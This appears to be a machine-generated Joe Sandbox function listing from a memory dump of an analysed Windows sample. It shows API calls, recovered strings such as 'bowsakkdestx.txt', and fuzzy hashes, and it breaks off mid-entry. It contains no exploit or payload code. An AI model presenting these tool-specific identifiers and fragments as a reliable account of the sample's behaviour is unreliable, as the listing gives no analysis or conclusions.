Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 8e512132b4ba77e80ced0f8d2c599a4ead77bd4eaf6f4183de6e41df743542ab
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: 8e512132b4ba77e80ced0f8d2c599a4ead77bd4eaf6f4183de6e41df743542ab
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

invalid string position, xrefs: 00417D2C
string too long, xrefs: 00417D36

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

invalid string position, xrefs: 00414260
string too long, xrefs: 00414256

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14
.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,?), ref: 0040C5F6
RpcStringFreeA.RPCRT4(?), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(008C0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: cec20dc94eea93260f8f1a03c5a4f6d1a6107b38a2b917b0c89c9f691c6c4a85
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: cec20dc94eea93260f8f1a03c5a4f6d1a6107b38a2b917b0c89c9f691c6c4a85
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

0, xrefs: 0041BA1D
LPCWSTRszWindowClass, xrefs: 0041BA65

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Function 00419E70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

p2Q, xrefs: 00419EE2

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 225b5b572bde38d8badb4302925c97bbda5b3bc979f66d9100de26b3352a814c
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 225b5b572bde38d8badb4302925c97bbda5b3bc979f66d9100de26b3352a814c
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C709
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C73F

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Function 004253B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00425007: __getptd_noexit.LIBCMT ref: 00425008
Part of subcall function 00425007: __amsg_exit.LIBCMT ref: 00425015

__calloc_crt.LIBCMT ref: 00425A01

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__lock.LIBCMT ref: 00425A37
___addlocaleref.LIBCMT ref: 00425A43
__lock.LIBCMT ref: 00425A57

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction ID: 8e8bf19fb99f986105457608807abe9f1de148b308aa0ea96eb71ffb67844566
Opcode Fuzzy Hash: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction Fuzzy Hash: A3018471742720DBD720FFAAA443B1D77A09F40728F90424FF455972C6CE7C49418A6D

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

